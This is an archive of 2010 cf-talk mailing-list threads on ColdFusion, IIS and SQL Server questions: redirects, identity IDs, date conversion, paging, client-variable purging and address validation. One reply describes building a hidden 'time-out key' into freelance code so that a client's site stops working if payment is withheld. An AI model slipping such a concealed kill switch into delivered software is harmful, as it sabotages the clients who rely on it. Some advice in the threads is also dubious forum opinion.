Alan, you got an IP address I can add? Email me at chevy AT asitv DOT com. Thanks! -Original Message- From: Alan Rother [mailto:alan.rot...@gmail.com] Sent: Friday, June 25, 2010 3:20 PM To: cf-talk Subject: Re: In a pickle, need some help... Can you share a link so we can look at it as well? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334856 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
In a pickle, need some help...
I am in the process of moving two sites that I have hosted for over 10 years, from my server to my clients server. At the moment, only I can see how the sites that are hosted on my client's server render in my browser. So, here's what is weird. CSS and images (.jpg/.gif) render fine in Firefox and Safari. But in IE 8, CSS and images will not render... at all. I have cleared all of my browser's cache, stopped/started my DNS server and cleared the DNS cache. Any ideas as to why this would be the case? Win 2K3, IIS 6, CF8 if it helps. Thakns, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334847 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: In a pickle, need some help...
One more thing... This is an old fusebox-sh site that uses the formurl2attributes.cfm custom tag. That might help... -Original Message- From: Che Vilnonis [mailto:ch...@asitv.com] Sent: Friday, June 25, 2010 1:57 PM To: cf-talk Subject: In a pickle, need some help... I am in the process of moving two sites that I have hosted for over 10 years, from my server to my clients server. At the moment, only I can see how the sites that are hosted on my client's server render in my browser. So, here's what is weird. CSS and images (.jpg/.gif) render fine in Firefox and Safari. But in IE 8, CSS and images will not render... at all. I have cleared all of my browser's cache, stopped/started my DNS server and cleared the DNS cache. Any ideas as to why this would be the case? Win 2K3, IIS 6, CF8 if it helps. Thakns, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334850 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: SQL Gurus... can this query be written more efficiently?
Thanks all. In the end, Carl's idea to use NOT IN and Micheal's reminder to use SQL indexes allowed me to drop a good 1 to 1.5 seconds. Cool beans! -Original Message- From: Dave Watts [mailto:dwa...@figleaf.com] Sent: Friday, June 18, 2010 12:26 PM To: cf-talk Subject: Re: SQL Gurus... can this query be written more efficiently? Why not perform your cflooping outside the SQL. This is much faster than forcing the query to manage the loop parsing and excution: Building the loop in or out of the CFQUERY tag makes no difference in performance. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334657 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
SQL Gurus... can this query be written more efficiently?
Take the following query. Is there a more efficient way to handle the where clause? Specifically, the last two 'and' statements that loop through two different lists, one that includes results and one that excludes results. Thanks, Che select searchterm, searchtype, numresults, timestamp fromusersearch where searchtype = cfqueryparam value=#arguments.searchtype# cfsqltype=cf_sql_smallint and numresults cfqueryparam value=0 cfsqltype=cf_sql_smallint and ( cfloop index=i list=#theModels#searchterm like cfqueryparam value=%#trim(i)# cfsqltype=cf_sql_varchar maxlength=255cfif i neq listlast(theModels) or /cfif/cfloop ) and ( cfloop index=i list=#application.cpSearchTerms#searchterm cfqueryparam value=#trim(i)# cfsqltype=cf_sql_varchar maxlength=255cfif i neq listlast(application.cpSearchTerms) and /cfif/cfloop ) order by searchtermcount desc ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334624 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
CF Domain Redirects
Here is the scenario. I own a domain. Call it domain.com. I also own an often misspelled version, domains.com. Note the extra 's'. I'd like to have domain.com automatically redirect to www.domain.com. I'd also like have the www.domains.com or domains.com automatically redirect to www.domain.com. I'm using IIS6. Anyway, I'm using the following code in onSessionStart: !--- domain redirects. --- cfif cgi.server_name eq http://domain.com; or cgi.server_name contains domains.com cfheader statuscode=301 statustext=Moved permanently cfheader name=Location value=http://www.domain.com; /cfif It seems to work. But I have a few questions. 1. Is onSessionStart the best place to put this code? 2. Should I be doing this type of redirect in IIS 6 instead of CF? If so, how? 3. Are the any search engine related penalties to doing any of these redirects? Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334250 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CF Domain Redirects
Scott, good point on onRequestStart. Ian, here is what prompted my post. When a user types domains.com, all of the links on the site say domains.com as they click through the site. I want them to say www.domain.com w/o having to go back and re-code all of the sites hyperlinks. My DNS is configured correctly. IIRC, isn't there someway to set a base url in CF so that all site links use it as a default? Steve, yes I own the domain names. In IIS, you can create a duplicate site (in this case www.domains.com) and have it redirect via a url to www.domain.com. I just figured there must be a simpler way than to create another site in IIS to do this. Che -Original Message- From: DURETTE, STEVEN J (ATTASIAIT) [mailto:sd1...@att.com] Sent: Thursday, June 03, 2010 11:27 AM To: cf-talk Subject: RE: CF Domain Redirects As long as you own the incorrect domains.com you should be able to have IIS do a re-direct to the proper address. You can re-direct an entire url right in the interface. I've done it before but it has been a while. Steve ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334259 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CF Domain Redirects
Thanks Steve, I needed another opinion to convice me... :) -Original Message- From: DURETTE, STEVEN J (ATTASIAIT) [mailto:sd1...@att.com] Sent: Thursday, June 03, 2010 11:40 AM To: cf-talk Subject: RE: CF Domain Redirects Che, Technically it isn't totally another site. When you create it you set it as a redirect. No folders will be created etc. However, this is the most efficient because IIS handles it before it tries to open any files, etc. If you have URLScan running (which it should be) it doesn't even get called until after the redirect. Using any other method would cause IIS to process the URLScan, plus any other internal processing, then your cf page, redirect, process URLScan for where you redirected, any other internal processing, then the new cf page. With the re-direct in IIS it would go: Redirect, URLScan, internal processing, final cf page. This was simplified of course. The redirect is in the domain of the web server not the application server. Let the appropriate software handle the appropriate jobs. Steve -Original Message- From: Che Vilnonis [mailto:ch...@asitv.com] Sent: Thursday, June 03, 2010 11:33 AM To: cf-talk Subject: RE: CF Domain Redirects Scott, good point on onRequestStart. Ian, here is what prompted my post. When a user types domains.com, all of the links on the site say domains.com as they click through the site. I want them to say www.domain.com w/o having to go back and re-code all of the sites hyperlinks. My DNS is configured correctly. IIRC, isn't there someway to set a base url in CF so that all site links use it as a default? Steve, yes I own the domain names. In IIS, you can create a duplicate site (in this case www.domains.com) and have it redirect via a url to www.domain.com. I just figured there must be a simpler way than to create another site in IIS to do this. Che -Original Message- From: DURETTE, STEVEN J (ATTASIAIT) [mailto:sd1...@att.com] Sent: Thursday, June 03, 2010 11:27 AM To: cf-talk Subject: RE: CF Domain Redirects As long as you own the incorrect domains.com you should be able to have IIS do a re-direct to the proper address. You can re-direct an entire url right in the interface. I've done it before but it has been a while. Steve ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334265 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CF Domain Redirects
Dennis, I decided to use an IIS redirect. I'm curious to know what penalty a redirect would be in say Google's eyes. After all, domain.com to www.domain.com is a redirect... and it would be absurd to penalize a site for a simple redirect like that. Che -Original Message- From: UXB Internet [mailto:denn...@uxbinternet.com] Sent: Thursday, June 03, 2010 2:09 PM To: cf-talk Subject: RE: CF Domain Redirects I'd like to have domain.com automatically redirect to www.domain.com. Assuming you own both domains then this should be done in the DNS not the web server or CF. The A record of both domains should point to the same IP number which is one website. Should I be doing this type of redirect in IIS 6 instead of CF? If you don't care what is displayed in the browser address field, domain1.com or domain2.com, then you can set the website to have multiple identities in the IP address field advanced Tab so the website responds to either domain. If you actually want someone who types domain1.com into their browser address field to then have their browser change to domain2.com then you will need to do a redirect and the best way is to set it up in IIS not in CF because then the web server will perform the redirect before a page is processed. Are the any search engine related penalties to doing any of these redirects? YES. Search engines do not like redirects and as someone else said they are bait and switch behavior. Each search engine will handle 301 or 302 redirects differently with different penalties based on that particular search engine. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334277 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Query Results sent from search engines CGI variable?
Try parsing the cgi.http_referer variable. It won't always have a value, but when it does, you can extract the keywords used when querying the search engine. Regards, Che -Original Message- From: UXB Internet [mailto:denn...@uxbinternet.com] Sent: Tuesday, June 01, 2010 4:35 PM To: cf-talk Subject: Query Results sent from search engines CGI variable? I have a client who wants to make their site more user friendly when someone is sent to them from a search engine. What they want is when someone comes from a search engine link that we obtain the original search query (if sent) and in addition to showing the requested page present a list of other items from their site matching an internal search result using that criteria. I know that many search engines send the original search query over to the website I am assuming in the header because I can obtain that information from the web-server log reports. What I don't know is if it is available in the CGI variables Cold Fusion can get from IIS6. Does anyone know if they are available and how to programmatically extract them for use within Cold Fusion? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334197 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: SQL Gurus... obtaining the correct Incremental ID
This might help everyone... Regardless of DBMS... http://www.forta.com/blog/index.cfm/2007/7/6/ColdFusion-8-Can-Return-Identit y-Values -Original Message- From: James Holmes [mailto:james.hol...@gmail.com] Sent: Wednesday, April 28, 2010 9:43 PM To: cf-talk Subject: Re: SQL Gurus... obtaining the correct Incremental ID You can of course avoid the whole issue by using the result_name.IDENTITYCOL value returned from the cfquery tag (if you are on CF8 or higher). mxAjax / CFAjax docs and other useful articles: http://www.bifrost.com.au/blog/ On 29 April 2010 01:51, Che Vilnonis ch...@asitv.com wrote: When using set nocount on, select @@identity as xyz and set nocount off in a cfquery, how can I be certain that two transactions that occur at roughly the same time obtain the proper incremental id from an Identity column? Is their a SQl equivalent to CF's cflock tag? Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333225 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
SQL Gurus... obtaining the correct Incremental ID
When using set nocount on, select @@identity as xyz and set nocount off in a cfquery, how can I be certain that two transactions that occur at roughly the same time obtain the proper incremental id from an Identity column? Is their a SQl equivalent to CF's cflock tag? Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333186 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: SQL Gurus... obtaining the correct Incremental ID
Dave/Barney/Casey... I'm using SQL 2005. I just wanted to cover all bases and was looking for a code snippet. Thanks. -Original Message- From: Casey Dougall [mailto:ca...@uberwebsitesolutions.com] Sent: Wednesday, April 28, 2010 2:13 PM To: cf-talk Subject: Re: SQL Gurus... obtaining the correct Incremental ID On Wed, Apr 28, 2010 at 1:51 PM, Che Vilnonis ch...@asitv.com wrote: When using set nocount on, select @@identity as xyz and set nocount off in a cfquery, how can I be certain that two transactions that occur at roughly the same time obtain the proper incremental id from an Identity column? Is their a SQl equivalent to CF's cflock tag? Thanks, Che On MS SQL server I believe anyting above 2000 use the output clause cfquery insert into table (col1, col2, col3) output inserted.ID values (col1Val,col2Val,col3Val) /cfquery ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333191 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: SQL Gurus... obtaining the correct Incremental ID
I am using the cftransaction tags. Honestly, I was not absolutely sure that I needed to do anything else and that is why I posted my original question. -Original Message- From: nvc 1 [mailto:n...@hotmail.co.uk] Sent: Wednesday, April 28, 2010 4:14 PM To: cf-talk Subject: Re: SQL Gurus... obtaining the correct Incremental ID why can't you do this where mytable has an auto incrementing primary key called id: cftransaction cfquery datasource=#dsn# name=insertQuery insert into mytable(acolumn) values(1) /cfquery cfquery datasource=#dsn# name=getid select max(id) as maxid from mytable /cfquery /cftransaction ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333195 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Not so simple date format question...
I'm working with an accounting database that stores order dates as a varchar (8) field. An example would be 20100420. Obviously, CF's dateformat chokes when used. Short of using a bunch of cfset statements with CF functions, how can I (in SQL preferrably or CF) easily format this string to 04/20/2010? Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333152 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Not so simple date format question...
MSSQL 2005 I figured a db convert statement might be needed? -Original Message- From: Leigh [mailto:cfsearch...@yahoo.com] Sent: Tuesday, April 27, 2010 11:37 AM To: cf-talk Subject: Re: Not so simple date format question... Which database are you using? ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333155 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Not so simple date format question...
Barney, thanks! I had something similar. Leigh, that is what I was looking for. Works perfectly. Thanks to you as well. Che -Original Message- From: Leigh [mailto:cfsearch...@yahoo.com] Sent: Tuesday, April 27, 2010 11:44 AM To: cf-talk Subject: RE: Not so simple date format question... Yes, that is one way to do it. If you think you will be doing it frequently, you could create a view (containing the convert) and call the view in your CF code: SELECT convert(datetime, YourVarcharCol, 112) AS ConvertedToDateTime http://msdn.microsoft.com/en-us/library/ms187928.aspx ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333159 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: how to incremently fetch data
Bobby, this code is for SQL 2005 and newer right? I'm on SQL 2000 (yeah, I know...lame) and I've never been able to find a solution that works. ~Che -Original Message- From: Bobby Hartsfield [mailto:bo...@acoderslife.com] Sent: Thursday, March 25, 2010 8:59 AM To: cf-talk Subject: RE: how to incremently fetch data Here is a SQL Server method ive used for paged results. Just tell it how many results per page and what page you are on. The example assumes 25 results and page 3 of those results DECLARE @PageNum AS INT; DECLARE @PageSize AS INT; SET @PageNum = 3; SET @PageSize = 25; WITH articlesRN AS ( SELECT ROW_NUMBER() OVER(ORDER BY articleDate desc) AS RowNum , * FROMtblArticles ) SELECT * FROM articlesRN WHERE RowNum BETWEEN(@PageNum - 1) * @PageSize + 1 AND@PageNum * @PageSize ORDER BY articleDate desc; -Original Message- From: Bobby Hartsfield [mailto:bo...@acoderslife.com] Sent: Thursday, March 25, 2010 7:45 AM To: cf-talk Subject: RE: how to incremently fetch data Which database server are you using? -Original Message- From: sandeep saini [mailto:sandeep00...@yahoo.com] Sent: Thursday, March 25, 2010 12:15 AM To: cf-talk Subject: how to incremently fetch data Hi, I run some query and per say fetch 100 records. now i run other query which fetch 150 records. I want that just 50 records be actually fetched in second round from database. How can this be possible? fyi- i am using MachII for my application. Thanks. ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:332247 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
CFThread limitations with CF9 Standard vs Enterprise
Back when CF8 was released, there were discussions about cfthread and limitations when using CF8 standard edition vs. the enterprise edition. Does anyone know if anything has changed with cfthread in CF9 between the two versions? Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:332259 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CFThread limitations with CF9 Standard vs Enterprise
Thanks James... -Original Message- From: James Holmes [mailto:james.hol...@gmail.com] Sent: Thursday, March 25, 2010 12:24 PM To: cf-talk Subject: Re: CFThread limitations with CF9 Standard vs Enterprise CFTHREAD is limited to two additional spawned threads in Standard edition. http://www.adobe.com/products/coldfusion/pdfs/cf9_feature_comparison_matrix_ ue.pdf mxAjax / CFAjax docs and other useful articles: http://www.bifrost.com.au/blog/ On 25 March 2010 23:07, Che Vilnonis ch...@asitv.com wrote: Back when CF8 was released, there were discussions about cfthread and limitations when using CF8 standard edition vs. the enterprise edition. Does anyone know if anything has changed with cfthread in CF9 between the two versions? Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:332268 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CF-Based Content Management Systems
Hands down... http://www.getmura.com/ -Original Message- From: Peter Donahue [mailto:pdonah...@sbcglobal.net] Sent: Thursday, March 18, 2010 4:30 PM To: cf-talk Subject: CF-Based Content Management Systems Good afternoon everyone, I just got off of the phone with a client that is considering using a content management system (CMS) to manage her Web site. The developer she hired to redesign her pages suggested using an Adobe product to insure that the CMS is robust and to be sure all features are accessible by disabled site visitors and managers. She also wishes to include a site blog as well. I believe there is CF blogging software and would appreciate some recommendations and sources for obtaining CF cms and blogging packages. Thanks in advance for your assistance. Peter Donahue ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:331866 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CF-Based Content Management Systems
You can't go wrong with Farcry as well. -Original Message- From: Jake Churchill [mailto:reyna...@gmail.com] Sent: Thursday, March 18, 2010 4:42 PM To: cf-talk Subject: Re: CF-Based Content Management Systems Definitely go with Farcry. http://www.farcrycms.org. There is a blogging plugin for it as well. -Jake On Thu, Mar 18, 2010 at 3:29 PM, Peter Donahue pdonah...@sbcglobal.netwrote: Good afternoon everyone, I just got off of the phone with a client that is considering using a content management system (CMS) to manage her Web site. The developer she hired to redesign her pages suggested using an Adobe product to insure that the CMS is robust and to be sure all features are accessible by disabled site visitors and managers. She also wishes to include a site blog as well. I believe there is CF blogging software and would appreciate some recommendations and sources for obtaining CF cms and blogging packages. Thanks in advance for your assistance. Peter Donahue ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:331867 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Easy Regex question?
Carol, I used... reReplaceNoCase(myHTML, table.*?.*?/table, , ALL) -Original Message- From: Bobby Hartsfield [mailto:bo...@acoderslife.com] Sent: Saturday, March 13, 2010 10:01 AM To: cf-talk Subject: RE: Easy Regex question? Rereplace(html, table.*?/table, , all') Or Rereplace(html, table[^]+/table, , all') -Original Message- From: Carol F [mailto:cfcn...@gmail.com] Sent: Saturday, March 13, 2010 1:59 AM To: cf-talk Subject: Re: Easy Regex question? I tried it on: htmlhead/headbodytexttablewhatever/table/body/html but it's returning this string in an array tablewhatever/table instead of htmlhead/headbodytexttablewhatever/table/body/html I guess I can do arrTable = reMatchNoCase('table[^]+/table', myString); for(a=1; a = arrayLen(arrTable); a++){ myString = replace(myString, arrTable[a], ); } but is there an easier way? On Fri, Mar 12, 2010 at 8:29 PM, andy matthews li...@commadelimited.comwrote: Should be able to do this: REMatchNoCase('table[^]+/table', myString) -Original Message- From: Carol F [mailto:cfcn...@gmail.com] Sent: Friday, March 12, 2010 6:52 PM To: cf-talk Subject: Re: Easy Regex question? do you mind sharing the solution please? On Fri, Mar 12, 2010 at 1:28 PM, Che Vilnonis ch...@asitv.com wrote: Scratch that... I figured it out! -Original Message- From: Che Vilnonis [mailto:ch...@asitv.com] Sent: Friday, March 12, 2010 4:25 PM To: 'cf-talk@houseoffusion.com' Subject: Easy Regex question? This should be easy. How do I remove all text between table/table tags from a larger string? Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:331740 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Validating mailing addresses or determining Zip+4 zipcodes...
I have a client that is getting hammered by UPS with charges for address corrections when customers enter a shipping address that is (even slightly) incorrect. Does anyone know of a database or a web service (paid or free) that can: #1. Verify a complete mailing address? #2. or provide a Zip+4 zipcode when a complete mailing address is passed to it? Either will go a long way to recifying my clients current situation with UPS. Do any CFers have any experience implementing something like this? Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:331670 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Validating mailing addresses or determining Zip+4 zipcodes...
John/Dorioo thanks for the links! Free APIs are my friend. :) -Original Message- From: Dorioo [mailto:dor...@gmail.com] Sent: Friday, March 12, 2010 11:32 AM To: cf-talk Subject: Re: Validating mailing addresses or determining Zip+4 zipcodes... If they're using UPS already, UPS has address validations tools (city, state, zip) and (street level) https://www.ups.com/upsdeveloperkit?loc=en_US - Gabriel ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:331675 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Easy Regex question?
This should be easy. How do I remove all text between table/table tags from a larger string? Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:331712 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Easy Regex question?
Scratch that... I figured it out! -Original Message- From: Che Vilnonis [mailto:ch...@asitv.com] Sent: Friday, March 12, 2010 4:25 PM To: 'cf-talk@houseoffusion.com' Subject: Easy Regex question? This should be easy. How do I remove all text between table/table tags from a larger string? Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:331713 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CDATA / CGLOBAL Purging
YUP, write a query against both of these tables to delete all entries that are older than a certain data range. I've done something like this in the past... btw, this is old code :) !--- // Get the Date X days ago and format it. // --- cfset XDaysAgo = DateFormat(DateAdd(d, -180, Now()), MM/DD/) !--- // Set the X date to one second past midnight. // --- cfset XAtMidnight = XDaysAgo 11:59:59 !--- // Find all CVRs that are older than 'X' days. // --- cfquery name=getOldCVRs datasource=mydatasource SELECT CFID FROMCGLOBAL WHERE LVISIT = '#XAtMidnight#' /cfquery !--- cfoutput#XAtMidnight#/cfoutputbr cfdump var=#getOldCVRs# --- cfif getOldCVRs.RecordCount NEQ 0 cfoutput query=getOldCVRs !--- // Delete CGLOBAL variables that are older than 'X' days. // --- cftransaction cfquery name=DeleteFromCGLOBAL datasource=mydatasource DELETE FROM CGLOBAL WHERE CFID = '#getOldCVRs.CFID#' /cfquery /cftransaction !--- // Delete CDATA variables that are older than 'X' days. // --- cftransaction cfquery name=DeleteFromCDATA datasource=mydatasource DELETE FROM CDATA WHERE CFID = '#getOldCVRs.CFID#' /cfquery /cftransaction /cfoutput /cfif -Original Message- From: Paul Alkema [mailto:paulalkemadesi...@gmail.com] Sent: Wednesday, February 24, 2010 12:30 PM To: cf-talk Subject: CDATA / CGLOBAL Purging Hi all, I recently installed Fusion Reactor on my server. While viewing queries that every page hit I noticed a query that I didn't recognize that was taking up a significant amount of load time. These queries were to the tables CDATA and CGLOBAL. Upon research I found that this was caused by our server storing client variables however looking at the table, there was about 6 million records going back more than a year. I looked in the ColdFusion Admin under Client Variables and it says it's supposed to purge unwanted visitors every 90 days. I changes that to 2 just to test (this was actually done on our testing server). Anyway, I haven't seen any change in records. Does anyone have any ideas on how to decrease the overall amount of records stored? Best Regards, Paul ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:331085 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: FedEx web service
Robert, please explain what you mean... how might one do this? thanks -Original Message- From: Robert Harrison [mailto:rob...@austin-williams.com] Sent: Tuesday, January 19, 2010 4:01 PM To: cf-talk Subject: RE: FedEx web service yet forgot to pay me Don't you put a time-out in? I put an encrypted time-out key in the freelance stuff. No pay... page no stay! Robert B. Harrison ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:329801 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Downloading a file from a website
cfcontent should work if I remember correctly. ~CV -Original Message- From: Phillip Vector [mailto:vec...@mostdeadlygame.com] Sent: Monday, January 18, 2010 3:15 PM To: cf-talk Subject: Downloading a file from a website If I wanted to have my server download an image from a website, would cffile be able to handle that? If so, how since I thought cffile can only work with files it has or the user is uploading. If not, then what will work? ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:329769 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Downloading a file from a website
OOPS, I misread the email... Yup, you can scrape images from other sites with cfhttp. ~CV -Original Message- From: Cameron Childress [mailto:camer...@gmail.com] Sent: Monday, January 18, 2010 3:17 PM To: cf-talk Subject: Re: Downloading a file from a website On Mon, Jan 18, 2010 at 3:14 PM, Phillip Vector vec...@mostdeadlygame.com wrote: If I wanted to have my server download an image from a website, would cffile be able to handle that? If so, how since I thought cffile can only work with files it has or the user is uploading. If not, then what will work? CFHTTP -Cameron ... ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:329771 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
